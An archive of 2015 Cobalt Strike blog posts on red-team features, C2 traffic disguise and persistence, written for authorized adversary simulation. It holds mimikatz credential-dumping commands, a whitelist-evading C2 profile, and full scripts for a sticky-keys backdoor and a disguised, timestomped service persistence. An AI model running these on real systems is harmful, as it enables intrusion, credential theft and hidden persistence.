Archive for the ‘Cobalt Strike’ Category

h1

The Aggressor Project (Preview)

September 2, 2015

If you’ve run into me at a conference during the 2015 calendar year, there’s a strong chance you’ve heard about or saw the Aggressor project. Aggressor is a ground-up rewrite of Cobalt Strike’s team server and client to better serve its Red Team Operations and Adversary Simulation use cases. I expect to ship this work as Cobalt Strike 3.0. It’s due for release at DerbyCon 2015 (September 2015).

At first glance, Cobalt Strike 3.0’s biggest change is the absence of the Metasploit Framework. Cobalt Strike 3.0 doesn’t depend on it. Instead, Cobalt Strike 3.0 builds its process and workflows on the Beacon post-exploitation agent. Many of my customers have moved their offensive process to the Beacon payload. Cobalt Strike 3.0 caters to this shift. Cobalt Strike 3.0 is also a fresh look at reporting and logging to aid accountability, deconfliction, and training.

If you want to know what Cobalt Strike 3.0 will look like, here’s a partial preview:

To some, this may sound very foreign. What’s the point of a penetration test without scans and exploits? Not all security assessments look like this. Adversary Simulations and Red Team Operations are security assessments that replicate the tactics and techniques of an advanced adversary in a network. While penetration tests tend to focus on unpatched vulnerabilities and misconfigurations, adversary simulations benefit security operations and incident response. There are different models/best practices for these engagements. I started this company and built this product to push these practice areas forward.

I’ve had several folks ask questions about Cobalt Strike 3.0. I wanted to take a few moments to answer them:

1) Is Cobalt Strike 3.0 available to existing customers or will I need to buy new licenses?

Cobalt Strike 3.0 is the anticipated successor to Cobalt Strike 2.5. As with other Cobalt Strike updates, Cobalt Strike 3.0 will be available to those with active Cobalt Strike licenses.

2) Will the price of Cobalt Strike go up when 3.0 hits?

The price of Cobalt Strike will not change as a result of the 3.0 release. Could the price go up in the future? Absolutely. Will it go up in the next month or two? No.

3) What will happen to browser pivoting in Cobalt Strike 3.0?

Browser Pivoting is present in Cobalt Strike 3.0.

4) How will you replace all the great things in Metasploit?

Cobalt Strike 3.0 does not replace the Metasploit Framework. Cobalt Strike 3.0 complements the Metasploit Framework as a separate platform. You can fire the Beacon payload with a Metasploit Framework exploit [demo]. You can pass accesses between the Metasploit Framework and Beacon [demo]. You can also pivot Metasploit Framework attacks [demo] and Meterpreter sessions through Beacon [demo].

5) Is Cobalt Strike’s name changing?

No. Aggressor is a codename. Cobalt Strike will still be called Cobalt Strike.

6) What will happen to Cobalt Strike 2.x and Armitage?

Armitage is its own project and will continue to stay much as it is now. I consider Armitage a mature product, but will maintain it as necessary. Cobalt Strike 2.x will be replaced by Cobalt Strike 3.0. I do not plan to maintain two lines of the Cobalt Strike product.

If you’d like to learn more about Cobalt Strike 3.0, hang tight, we only have a few weeks until DerbyCon. So far, we’re on track for a release at that time.

h1

Cobalt Strike 2.5 – Advanced Pivoting

July 29, 2015

I spend a lot of my red time in the Access Manager role. This is the person on a red team who manages callbacks for the red cell. Sometimes, I like to grab a Beacon and drive around a network. It’s important to get out once in a while and enjoy what’s there. Cobalt Strike 2.5 is all about cruising around networks.

Lateral Movement++

This release adds native lateral movement options to Beacon. Use the psexec_psh, winrm, and wmi commands to deliver a Beacon to a target using PowerShell to avoid touching disk. For you old school types, a psexec command is available to deliver a Beacon to a target with an Artifact Kit service executable.

You’ll likely notice that Cobalt Strike’s lateral movement options do not accept credentials, hashes, or other credential material. Keeping with Cobalt Strike’s operating philosophy, these lateral movement options rely on what’s in your access token to authenticate with a remote system. If you want to pass-the-hash with Beacon; use mimikatz to create a token that passes your hash. If you need to pass credentials, use Cobalt Strike 2.5’s make_token command to create a token to pass the credentials you provide.

Named Pipe Stager

Cobalt Strike’s best payload for lateral movement is the SMB Beacon. This Beacon uses a named pipe to receive commands from and relay output through another Beacon. A named pipe is an inter-process communication mechanism on Windows. Named pipes also work host-to-host to allow two programs to communicate with each other over the network. This traffic is encapsulated in the SMB protocol.

The SMB beacon is awesome but it had a weakness. It’s too big to use with attacks like psexec_psh. Cobalt Strike 2.5 solves this problem with its named pipe stager. This tiny stager delivers the SMB Beacon to a remote target over a named pipe. This stager works well with Beacon’s new lateral movement options that don’t touch disk. This is quite an upgrade from the previous best practices.

Pivoting Process-to-Process

Red Teams pivot, not just host-to-host, but process-to-process on the same host. This need is usually driven by egress and evasion concerns. A process run as an unprivileged user may have the ability to egress. As soon as you elevate, you may run into difficulties if that elevated process can’t communicate out.

Cobalt Strike 2.5 uses the SMB Beacon to help with this problem. Beacon features to include its Bypass UAC attack and new spawnas command [use credentials to spawn a payload; without touching disk] accept the SMB Beacon as a target payload. This greatly improves Cobalt Strike’s options to work through one egress channel.

Reverse Port Forwards

Cobalt Strike 2.5 also adds reverse port forwarding. Beacon’s new rportfwd command will bind a port of your choice on a compromised target. When someone connects to this port, Cobalt Strike’s team server will establish a connection to a forward host and port of your choosing. It will then relay traffic, via Beacon, between this new connection and the client connected to your Beacon. Now, you can use compromised systems as arbitrary redirectors. ☺

Check out the release notes to see a full list of what’s new in Cobalt Strike 2.5. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Cobalt Strike Penetration Testing Labs (Download)

June 4, 2015

My primary conference give away is a DVD with a self-contained penetration testing lab. This DVD covers the Metasploit Framework‘s capability to target a server. It also covers the client-side attack process in Cobalt Strike. It’s a pretty neat set of labs and they don’t take too long to go through.

Cobalt Strike Boxed Set

I’ve had several requests to put these labs online. If you’re one of those interested parties, then today is your lucky day. The Cobalt Strike Pen Testing Lab DVD material is now available for download.

To start, you’ll want to grab the necessary virtual machines:

1. Morning Catch (Phishing Target)
http://www.advancedpentest.com/downloads/morningcatch.zip.torrent

2. Metasploitable 2
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

3. Xubuntu Attack VM with CS dependencies and stuff to support the labs
http://www.advancedpentest.com/downloads/xubuntu.zip.torrent

Next, you’ll want to download the penetration testing lab book. Last, you’ll need to grab a trial of Cobalt Strike and install it on the Xubuntu virtual machine above.

Once you have these things, you’re ready to rock. If you get stuck, here’s a video of me going through the labs:

Enjoy!

h1

User-defined Storage-based Covert Communication

April 23, 2015

One of my favorite Cobalt Strike technologies is Malleable C2. This is a domain specific language for user-defined storage-based covert communication. That’s just a fancy way of saying that you, the operator, have control over what Cobalt Strike’s Beacon looks like when it communicates with you.

malleablec2

When I do red team work, I see the same blue audiences again and again. If the red teams I worked with were to persist the same way or have the same indicators during each engagement, the blue audiences would quickly learn these things and cease to get training value from our activity.

There’s two ways to solve this problem. One way is to use new tools during each engagement. That means the red teams either need to buy or build new tools for each repeat encounter they expect to have. This is expensive and not tractable. The other alternative is to build hacking tools that give their users flexibility to change behavior and indicators during an engagement. This line of thought is what led to Malleable C2.

Malleable C2 Profiles

The heart of Malleable C2 is a communication profile. This profile specifies what Beacon’s communication should look like on the wire. You can do the really easy stuff, like say, “I want my User-Agent to be ___________________”. That’s a simple option.

You can also dress up a Malleable C2 transaction too. The header keyword lets you add arbitrary headers to Beacon’s HTTP client requests and server replies. The parameter keyword lets you dress up Beacon’s HTTP client requests with additional parameters too.

You can also do cooler things, like say, “I want to base64 encode Beacon’s encrypted taskings and store the result inside of an HTML comment” [havex.profile] or “I want to add the encrypted Beacon tasks to a 1×1 pixel GIF file” [webbug.profile]. This is made possible by a Malleable C2 concept that I call a data transform. A data transform is a series of transforms that you may apply to data Beacon has to send. These transforms include append this string, base64 encode the data, prepend this string, and netbios encode the data.

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }

Malleable C2 allows you to chain these transforms together into a program. This program is interpreted to transform Beacon’s data, one instruction at a time, into a string that looks like whatever you want.

transform

Critically, each of these data transforms is trivially reversible. If I base64 encode some data, I simply need to use a base64 decode operation to recover that data. If I append a string to Beacon’s data, I just need to remove that many characters when I receive data from a Beacon to recover the original data.

recover

The presence of an inverse operation for each transform is the magic that allows Cobalt Strike to derive how to send AND receive data from one specification.

The last piece of Malleable C2 is the ability to define where the data you transform is stored. Each data transform ends with a statement like print, which means send this data to the other end. More interesting statements include header and parameter which let you store the transformed data into an arbitrary HTTP header or parameter. The uri-append statement appends the transformed data to the requested URI.

This gives you an additional piece of flexibility. Not only can you define how to transform data that Beacon needs to send, you get to define where in the transaction this data goes.

Virtual Machines for Malware Communication

The challenge of Malleable C2 is that a Beacon needs to both send and receive information. This means Beacon, written in C, needs to transform data and recover data from a transform. The same goes for Cobalt Strike’s Java back-end that services Beacon’s HTTP requests.

To make this work I built a compiler for the C2 profiles. This compiler does all of the things you’d expect a traditional compiler to do. It parses the profile into an abstract syntax tree, it checks for errors, and it outputs a simple set of instructions that I wrote an interpreter for.

In effect, the Beacon payload and its server have built-in virtual machines to transform strings in different ways. Instead of CPU registers or a stack, this virtual machine operates on buffers. The active buffer maps directly to a part of a communication request. If I’m sending data from Beacon, there are buffers for parameters, headers, the URI, and in the case of a POST request–the data the client wants to send. Instructions in this Malleable C2 machine language allow the profile to set which buffer is the active one and populate/transform the data in this active buffer.

Likewise, to recover data, the Malleable C2 machine has instructions to populate a buffer with data from the transaction and to conduct inverse transforms on the data.

I could have built a simple XML format or made a few options to change static strings in Beacon’s communication. I went with this approach to give my users flexibility to look like other malware or legitimate traffic with very high fidelity. This isn’t possible with a few configuration options to change static strings. It really requires the ability to rewrite how the client and server expect to send and receive data from each other.

How I use Malleable C2

You may ask, what’s the use of Malleable C2? I’ve had a prototype of this technology since early 2014. I pushed it into production in July 2014. Now, after some time with it, I can offer some use cases.

I do use Malleable C2, for its stated use case, to emulate specific actors. The Malleable C2 Github repository has several example profiles that re-create the C2 traffic of known malware. I tend to use profiles tied to known malware when I want to get caught or when I want to exercise a blue team’s ability to analyze the attack.

Just as often, I will also modify a profile to make myself look like a variant of known malware. I do this to avoid getting caught with default signatures, but to make my activity identifiable as malicious for training audiences doing traffic analysis.

While Malleable C2 gives me a vote in how I want to get caught, it’s just as effective at evasion too. Once I know an environment’s browser configuration and sites users are likely to visit, I’ll load some of these sites in a VM, capture traffic, and craft profiles to look like this traffic. One time, I pulled down a PDF file from a document archive and made a profile to insert Beacon C2 into the middle of the PDF content. I do the same thing with JavaScript files that are common in an environment too. I also made favicon into a channel once. I didn’t spend days or hours crafting these. I built these on the fly, as needed, to support the engagement objectives.

When I stand up red team infrastructure, I always diversify my indicators. My long-haul persistence servers have different indicators from my staging and post-exploitation servers. If you use Cobalt Strike, I highly recommend you do this too. If one Beacon gets caught, you don’t want its traffic pattern to make it easy to identify all of your other Beacons. Malleable C2 makes it trivial to have indicator diversity with one tool.

Malleable C2 has helped defeat “blinky box” appliances as well:

One red team I worked with had to deal with a network appliance that whitelisted which sites clients could browse to. In this situation, we could use a client system to seed our access and troubleshoot our outbound communications. It was still our responsibility to figure out something that would work though. On a whim, we modified our profile’s HTTP GET and POST components to add a parameter with a whitelisted host in it:

http-get {
	client {
		parameter "q" "www.youtube.com";
	}
}

http-post {
	client {
		parameter "q" "www.youtube.com";
	}	
}

And, it worked. We were able to get a fully-staged HTTP Beacon past the device. Apparently this vendor didn’t check whether or not we were visiting a whitelisted domain, they just cared that a whitelisted string existed in the URL.

I’ve seen several situations where a proxy server allows certain browsers out and denies other browsers the opportunity to leave the network. These situations represent the real power of Malleable C2. If some specific part of the Beacon payload is holding you back, Malleable C2 gives you the flexibility to do something about it. I consider that a huge win for empowering my end users to get the most out of the Cobalt Strike toolset.

Malleable C2 isn’t hard to learn. I recommend grabbing an example and tweaking it. You can also read the documentation to get a feel for what Malleable C2 can do.

h1

Cobalt Strike 2.4 – A Pittance for Post-Exploitation

April 8, 2015

Cobalt Strike 2.4 is now available. If you use Beacon for post-exploitation, you’ll find a lot to like in this release. Here’s the highlights:

Post-Exploitation Jobs

Beacon now supports long-running jobs. These are post-exploitation tasks that live in other processes and report information to Beacon as it becomes available.

Beacon’s keystroke logger was rewritten to take advantage of jobs. You may now inject Beacon’s keystroke logger into an arbitrary x86 or x64 process and it will report keystrokes back to you. Use keylogger [pid] [x86|x64] to start collecting information from a process of interest.

keylogger

I’ve also updated Beacon’s shell and powershell commands to run as jobs too. Do you have a PowerShell script that needs to run for days? That’s no problem. Beacon will drip output back to you as it becomes available.

Use Beacon’s jobs command to see which jobs are running in the current Beacon. Use jobkill to terminate a job.

The move to post-ex Jobs is good for Beacon long-term. Jobs isolate your Beacon from the processes where post-exploitation tasks take place. This removes the need for a dangerous migrate operation and it protects your Beacon should disaster strike one of the processes you’re collecting information from. This construct also favors features built as Reflective DLLs and PowerShell scripts. These are things that Beacon can import when you need to use them. This allows Beacon to gain new features, but also stay small, simple, and reliable.

Mimikatz

Beacon now integrates mimikatz. Use the mimikatz command to run a command through mimikatz’s command dispatcher. Beacon will even tab complete mimikatz commands for you.

Would you like a cup of coffee? Use mimikatz standard::coffee to get it. Would you like to beat minesweeper? Use mimikatz minesweeper::infos to reveal the map.

All joking aside, the amount of capability in mimikatz is incredible. Would you like to dump cached logon hashes? Use mimikatz !lsadump::cache. Use the ! to make mimikatz elevate to SYSTEM before it runs your command.

mimikatz

Would you like to dump plaintext passwords? Use mimikatz sekurlsa::wdigest. I’ve also created a wdigest command in Beacon to alias this for you.

This integration is very user friendly. Beacon will deploy an x64 or x86 mimikatz depending on the native architecture of the target system. Beacon will also attempt to secure the SE_DEBUG privilege for your mimikatz instance too.

As an aside, Beacon gained a hashdump command too. Similar to mimikatz, Beacon manages the x86/x64 and SE_DEBUG privilege madness for you. All you have to do is dump hashes and enjoy.

Foreign Listeners

I’ve always considered session passing core to Cobalt Strike’s collaboration workflow. This release takes session passing to another level. Cobalt Strike now supports foreign listeners. These are listeners that reference a handler running in a remote Armitage, Cobalt Strike, or msfconsole instance.

If you need to pass a session to a friend, ask them for their payload type, host, and port. Create a foreign listener for them and then, you can pass accesses to them from a Beacon or any other Cobalt Strike feature that uses listeners.

listener

These three items are just a taste of Cobalt Strike 2.4. For a full list of changes, you’ll want to consult the release notes. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Scripting Beacons and Deploying Persistence

March 5, 2015

One common Cobalt Strike feature request is an API to script the Beacon payload. Doing this right is a big project and it requires some architectural changes within Cobalt Strike. I’m working on it. I have a major development effort underway to reshape Beacon’s role in Cobalt Strike. Scripting is one piece of this.

Right now, some automation is possible. Last year, I put together an “emergency API” to deploy persistence through Beacon. My normal methods were causing Meterpreter to crash and I needed another option. This API isn’t supported and it isn’t permanent. It’s a stop-gap. In the mean time, it may help you.

The API

The bootleg Beacon scripting API adds a few functions to Cortana. [Cortana is Armitage and Cobalt Strike’s scripting engine. You can read more on it here.]

@data = beacons();

This function returns an array of information. Each entry in the array is a dictionary with all information Cobalt Strike knows about the beacon.

bcd([beacon ID], “directory”);

This function will change Beacon’s current working directory. This has the same effect as the cd command in Beacon.

%foo = bdata([beacon ID]);

This function returns a dictionary with information about the specific Beacon ID.

$foo = binfo([beacon ID], “key”);

This function queries the Beacon information and returns a key from it. For example, the Beacon information dictionary contains the user key. This is the username associated with the Beacon. Beacon adds a * to this name if the Beacon is running in a high-integrity (administrator) context. You can check for this * to see if you’re an admin or not.

bnote([beacon ID], “text”);

This function assigns a note to a Beacon. These notes are viewable under View -> Beacons.

bsleep([beacon ID], milliseconds, jitter factor);

This function changes the sleep time of a Beacon. Specify the sleep time in milliseconds. The jitter factor is a value, 0-99, that represents how much Beacon should randomly adjust its sleep time each beacon cycle.

bshell([beacon ID], “command”);

This function will ask Beacon to execute a command with the Windows command shell. This has the same effect as the shell command in Beacon. Beware that Cobalt Strike limits the run-time of these commands to 15-30s. This command is not suitable for long running tasks.

btimestomp([beacon ID], “dest file”, “source file”);

This function asks Beacon to apply the modified, last accessed, and created times of the source file to the destination file. This is a good way to make your changes blend in if you need to.

bupload([beacon id], “/path/to/local file”);

This function asks Beacon to upload a file. Please note, the path you provide is on your local system [the Cobalt Strike client]. You do not need to upload the file to the team server to use it with this function. If you want to reference a file in the same directory as your script, use the script_resource function. This function accepts a file name as an argument and returns the path to that file as if it were co-located with your script.

In all the above functions, [beacon id] is a string that represents a unique identifier for the current Beacon session. You need to know the identifier of a Beacon to issue these commands against it. One way to get this is to define a popup menu at the beacon_top hook.

popup beacon_top {
   item "My ID" {
      show_message("You have highlighted: $1");
   }
}

The above menu will add a My ID menu to the top of the beacon right-click menu. All items and sub-menus defined within this hook have the variable $1. This argument is an array that contains all Beacons associated with the current popup. If you right-click inside of a Beacon window, this array will contain one item—the ID of the current Beacon. If you highlight 100+ Beacons in the View -> Beacons dialog—this array will contain the IDs of all those Beacons. This little Beacon API makes it trivial to mass task all of your Beacons. There’s also a beacon_bottom popup hook too.

Sticky Keys

Here’s how I do sticky keys persistence with the above Beacon scripting API:

popup beacon_top {
   item "Sticky Keys" {
      local('$bid');
      foreach $bid ($1) {
         stickykeys($bid);
      }
   }
}

sub stickykeys {
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
   bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
   bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
   bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
   bshell($1, 'net start TermService');
}

Deploy Beacon on Reboot with a Service

To survive reboots, I like to create services to run Beacon. To use this script—you will need to export a fully staged Beacon as a Windows Service Executable. Go to Attacks -> Packages -> Windows Executable (S). The Service Executable is an executable that responds to Windows Service Control Manager commands. If you try to use a normal executable, Windows will kill it shortly after it runs.

Fully-staged binaries contain everything Beacon needs to run. If Beacon can’t reach you initially—it’s OK, it’ll try to beacon again. The only downside to services is they run as SYSTEM. HTTP/HTTPS Beacons will not get through an authenticated proxy when run this way. For this reason, I use fully-staged DNS Beacons when I install a persistent service.

sub persist {
   bcd($1, 'c:\windows\system32');

   # create a netsrv.exe file and co-locate it with this script.
   # remember netsrv.exe MUST be a service EXE.
   bupload($1, script_resource("netsrv.exe"));
   btimestomp($1, "netsrv.exe", "cmd.exe");
   bshell($1, 'sc delete netsrv');
   bshell($1, 'sc create netsrv binPath= "C:\windows\system32\netsrv.exe" start= auto DisplayName= "System Network Service"');
   bshell($1, 'sc start netsrv');
}

popup beacon_top {
   item "Create Service" {
      local('$bid');
      foreach $bid ($1) {
         persist($bid);
      }
   }
}

React to a New Beacon

The above examples show how to use Beacon to set up a configuration backdoor and deploy a service. They’re pretty representative of what this small API does. I get a lot of questions from folks about how to write a script that responds to a new Beacon. Cortana does not expose an API to do this. That said, you can build this API with what I provide. This script registers a ten second timer handler that calls the beacons() function. This script extracts all Beacon IDs from this list of Beacons and looks for which IDs are new. It then fires a beacon_initial event for each new Beacon. Other scripts may use this event to react to new Beacons.

global('@old');

on heartbeat_10s {
   local('@beacons $beacon $bid %data @new @all');

   # grab all beacon ids AND build a map between ids and data
   @beacons = beacons();
   foreach $beacon (@beacons) {
      $bid = $beacon['id'];
      %data[$bid] = $beacon;
      push(@all, $bid);
   }

   # remove old beacons from current list... I use copy(@all)
   # because removeAll is destructive to its first argument
   @new = removeAll(copy(@all), @old);

   # with old beacons removed; we have our new beacons...
   foreach $bid (@new) {
      fire_event("beacon_initial", $bid, %data[$bid]);
   }

   # make our list of all beacons into our old list now
   @old = @all;
}

And here’s an example of this beacon_initial event:

on beacon_initial {
   local('$key $value');
   println("I have a beacon: $1 from " . $2['internal']);
   foreach $key => $value ($2) {
      println("\t $+ $[10]key = $value");
   }
}

You may be asking—why write about an undocumented API and why write about it now? March and April is the time of the year when the Collegiate Cyber Defense Competition is in full swing. Armitage was inspired by the need for red team collaboration at these events. Through a sponsorship agreement between Strategic Cyber LLC and National CCDC, Cobalt Strike is available to the regional and National CCDC red team members. Automated persistence is a key problem for the red teams at these events. If you’re on a CCDC red team, these scripts should help you put together something unique for your region.

h1

Cobalt Strike 2.3 – I’ve always wanted runas

January 22, 2015

Cobalt Strike 2.3 is now available. This release adds a runas command to Beacon. This command allows you to specify a username and password for any user and run a command as them. Useful for situations where you know credentials for an admin and want to use them to elevate. Care to know the alternative? Shell Escalation using VBS (pg. 31, Red Team Field Manual) is what I used to do.

This release also adds a Cobalt Strike version of the PowerShell Web Delivery tool. This tool hosts a PowerShell script on Cobalt Strike’s web server that injects a Cobalt Strike listener into memory. This feature also generates a PowerShell one-liner that you may run on a target to get a session.

Finally, this release addresses an incompatibility that affected DNS Beacon users. Updates to the Metasploit Framework affected Cobalt Strike’s process to encode a stage to deliver over DNS. Cobalt Strike now includes its own encoder to build the DNS Beacon stage.

For a full list of changes, please consult the release notes. Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.

Follow

Get every new post delivered to your Inbox.

Join 16,247 other followers